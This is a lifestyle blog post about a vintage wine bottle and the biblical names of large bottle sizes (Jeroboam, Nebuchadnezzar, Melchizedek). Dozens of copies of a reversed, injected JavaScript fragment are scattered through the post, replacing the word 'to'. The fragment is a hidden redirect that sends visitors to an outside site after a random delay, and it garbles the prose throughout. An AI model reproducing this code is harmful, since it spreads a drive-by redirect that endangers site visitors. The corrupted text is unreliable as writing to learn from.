Spin the Bottle – From Nebuchadnezzar toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Jeroboam

Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 100px; line-height: 90px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>They say you can’t teach an old dog new tricks… but this chienne has had a whole new world opened up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to her!  Last year while shopping a flea market in Belgium, my husband picked up a vintage 5 liter wine bottle for 5 Euro.  He liked the shape and its 1981 Chianti label while I was enchanted with it as it would make dreamy kitchen décor.  Recently I revamped my apartment in preparation for spring and I removed the bottle from its corner post and plonked it in the middle of my kitchen table as part of my art de la table… loving the rustic toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touch.  So imagine my surprise when a few weeks ago, my friend Laurie out of the blue asked, Is that a Nebuchadnezzar?” 

A what?”  

Now, for the record, my friend Laurie is a pastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor’s wife, and had it been anyone else I might have thought there was a gentle reprimand for my copious quantities of wine consumption by bringing up the Biblical king who sent the Jews intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to exile, but I knew Laurie well enough toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know she wasn’t a stranger toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to vino.  Thus, I was utterly confused on how we’d began discussing someone from the Old Testament when we were looking at my vintage wine bottle.

Jesus drank wine,” I responded, “and I suppose Nebuchadnezzar did toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too.” 

“No- the wine bottle!” she exclaimed, It’s called a Nebuchadnezzar… Didn’t you know that wine bottles have Old Testament names? She floored me with this revelation… 

Theres Jéroboam – that holds 3 liters or the equivalent of 4 bottles and then Rehoboam holds 4.5 liters or 6 bottles of wine.  Let’s just say Methuselah didn’t reach his old age drinking water… his bottle holds 8 bottles of wine – but sometimes the Methuselah bottles are also called Imperial.  My favorite is Mordechai – sometimes called Salamanza – which holds a perfect dozen!  And Balthazar boasts 16 bottles in one giant bottle.  Nebuchadnezzar holds a whopping 20 bottles (or15 liters) of wine while Melchior clocks in at 24 bottles in 1.  But the King of Israel – the son of David – gets down and dirty with with 26.66 bottles of wine in one giant bottle… however, I say in his defense he did have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide for a nation, so his bottle should be bigger than the rest!  But the grand-daddy of all wine bottles is the Melchizedek which holds a whopping 40 bottles (or 30 liters) of wine! 

And toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to think, until a few weeks ago all I knew about bottles in the wine kingdom was the Magnum and Double Magnum.  This Diva needed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Sunday school toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn the basics of life! 

While a little field research didn’t reveal why the bottles were originally named after The Old Testament, I did uncover that the typical wine bottle – 750 ml (1/5 of a gallon) was originally deemed as a suitable ration for 1 man with his dinner.  The Wine Lovers Page explains, this was “back in the days when men were men (and most wine was quite low in alcoholic strength)” and they go ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explain another theory that this traditional size of bottle was “actually the largest that early glass-blowers could produce with one full breath”.  And while that’s a fun fact I’ll be sharing at many a dinner table, I’m still dying toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know the origin of how various wine bottles were names after the Bible.  If you happen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know, please tell me!

In the meantime, Sante, Cheers and Proust!

The Antiques Diva®
(seen below on vacation in St Emilion)